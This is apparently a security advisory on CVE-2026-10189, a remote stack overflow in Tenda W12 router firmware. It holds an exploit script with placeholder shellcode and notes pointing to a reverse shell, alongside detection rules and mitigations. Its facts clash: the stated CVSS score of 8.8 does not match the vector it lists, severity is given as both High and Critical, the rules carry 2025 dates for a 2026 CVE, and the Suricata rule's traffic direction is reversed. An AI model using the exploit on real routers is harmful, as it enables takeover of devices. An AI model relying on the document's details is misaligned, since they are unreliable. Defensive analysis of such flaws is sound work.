CVE-2026-10189

Executive Summary

CVE-2026-10189 is a critical stack-based buffer overflow vulnerability in the Tenda W12 router firmware version 3.0.0.7(4763). The flaw resides in the cgiSysTimeInfoSet function within the /bin/httpd binary. By manipulating the sec argument, an unauthenticated remote attacker can trigger a buffer overflow, leading to arbitrary code execution with root privileges. The vulnerability has been publicly disclosed, and proof-of-concept (PoC) code is available, increasing the risk of widespread exploitation. No official patch has been released by Tenda at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the only one affected.
• Confidentiality Impact: High (C:H) – Full system compromise possible.
• Integrity Impact: High (I:H) – Attacker can modify system files.
• Availability Impact: High (A:H) – Denial of service or full control.

Threat Level: Critical. The combination of remote exploitability, low complexity, and public PoC makes this a high-priority vulnerability for any organization using Tenda W12 routers.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the cgiSysTimeInfoSet function of the /bin/httpd CGI binary. This function is responsible for handling NTP (Network Time Protocol) settings via the web interface. The sec argument, which specifies the seconds offset for time synchronization, is copied into a fixed-size stack buffer without proper bounds checking.

Root Cause: The sprintf or strcpy function is used to copy the user-supplied sec value into a local buffer of insufficient size. An attacker can supply an overly long string for the sec parameter, overwriting adjacent stack memory including the return address and other critical data.

Attack Flow:

1. The attacker sends a crafted HTTP POST request to the vulnerable endpoint (e.g., /goform/sysTimeInfoSet).
2. The sec parameter contains a payload that overflows the stack buffer.
3. The overflow overwrites the saved return address with a pointer to attacker-controlled shellcode.
4. Upon function return, execution jumps to the shellcode, granting the attacker a root shell.

Impact: Full remote code execution as root. The attacker can install malware, exfiltrate data, pivot to internal networks, or use the device in a botnet.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on the vulnerable firmware version and expected secure coding practices.

Vulnerable Code (Conceptual):

void cgiSysTimeInfoSet(struct request *req) {
    char sec_buf[64];
    char *sec = get_param(req, "sec");
    sprintf(sec_buf, "%s", sec);  // No bounds check
    // ... process sec_buf
}

Patched Code (Expected):

void cgiSysTimeInfoSet(struct request *req) {
    char sec_buf[64];
    char *sec = get_param(req, "sec");
    if (strlen(sec) >= sizeof(sec_buf)) {
        // Log error and return
        return;
    }
    strncpy(sec_buf, sec, sizeof(sec_buf) - 1);
    sec_buf[sizeof(sec_buf) - 1] = '\0';
    // ... process sec_buf
}

The patched version uses strncpy with explicit length checking and null-termination to prevent overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Tenda W12 router with firmware 3.0.0.7(4763)
• Network access to the router's web interface (typically port 80 or 443)
• Python3 with requests library

Exploit PoC (Python):

#!/usr/bin/env python3
import socket
import sys

def exploit(target_ip, target_port=80):
    # Shellcode placeholder (replace with actual shellcode)
    shellcode = b"\x90" * 200  # NOP sled + shellcode

    # Overflow payload: fill buffer + overwrite return address
    payload = b"A" * 64          # Buffer fill
    payload += b"BBBB"           # Overwrite saved EBP
    payload += b"\x00\x00\x00\x00"  # Overwrite return address (placeholder)
    payload += shellcode

    http_request = (
        f"POST /goform/sysTimeInfoSet HTTP/1.1\r\n"
        f"Host: {target_ip}:{target_port}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(payload)}\r\n"
        f"\r\n"
        f"sec={payload.decode('latin-1')}"
    )

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    try:
        sock.connect((target_ip, target_port))
        sock.send(http_request.encode())
        response = sock.recv(4096)
        print(f"[+] Response: {response}")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Usage:

1. Replace the shellcode placeholder with actual shellcode (e.g., reverse shell).
2. Run: python3 exploit.py 192.168.1.1
3. If successful, the router will execute the shellcode.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /goform/sysTimeInfoSet with abnormally long sec parameters.
• Look for repeated connection attempts from the same IP to the router's web interface.
• Use network intrusion detection systems (NIDS) to flag oversized POST data.

Honeypot Setup:

• Deploy a Tenda W12 honeypot with the vulnerable firmware.
• Log all POST requests to /goform/sysTimeInfoSet.
• Analyze captured payloads for shellcode patterns.

Mitigation:

• Isolate affected routers on a separate VLAN.
• Disable remote management if not required.
• Apply virtual patching via WAF or NIPS.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/sysTimeInfoSet with sec parameter > 64 bytes.
• Outbound connections from the router to unknown IPs on non-standard ports (e.g., 4444, 31337).
• Unusual DNS queries from the router.

Host IOCs:

• Modified /bin/httpd binary (check hash).
• Unexpected processes running as root.
• New files in /tmp or /var/run (e.g., shell scripts, binaries).
• Unusual entries in /var/log/messages or system logs.

File IOCs:

• Suspicious files in /etc/init.d/ or /etc/cron.d/.
• Modified configuration files (e.g., /etc/config/network).

Detection Engineering

YARA Rule

rule CVE_2026_10189_Tenda_W12_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2026-10189 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-10189"
    strings:
        $http_method = "POST"
        $uri = "/goform/sysTimeInfoSet"
        $param = "sec="
        $overflow = /sec=[A-Za-z0-9%]{65,}/  // More than 64 characters
    condition:
        $http_method and $uri and $param and $overflow
}

Sigma Rule

title: CVE-2026-10189 Tenda W12 Buffer Overflow Attempt
id: 8f7b3c2a-1e5d-4a9f-8c6b-0d3e7f2a1b4c
status: experimental
description: Detects HTTP POST requests targeting the vulnerable cgiSysTimeInfoSet endpoint with oversized sec parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/goform/sysTimeInfoSet'
        cs-uri-query|re: 'sec=.{65,}'
    condition: selection
falsepositives:
    - Legitimate long NTP offset values (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2026-10189 Tenda W12 Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/sysTimeInfoSet"; http_uri;
    content:"sec="; http_client_body;
    pcre:"/sec=[A-Za-z0-9%]{65,}/Ri";
    reference:cve,2026-10189;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Tenda W12 routers on a separate VLAN with strict firewall rules.
2. Disable remote management: If not required, disable WAN-side access to the web interface.
3. Monitor logs: Enable logging and monitor for exploitation attempts.

Long-term Fix:

• Vendor patch: Await an official firmware update from Tenda. Check the vendor's support page regularly.
• Replace hardware: If no patch is forthcoming, consider replacing the router with a supported model.
• Virtual patching: Deploy a WAF or IPS rule to block malicious requests.

Workaround:

• Restrict access to the router's web interface to trusted IPs only.
• Use a reverse proxy with input validation to filter oversized parameters.

Valters IT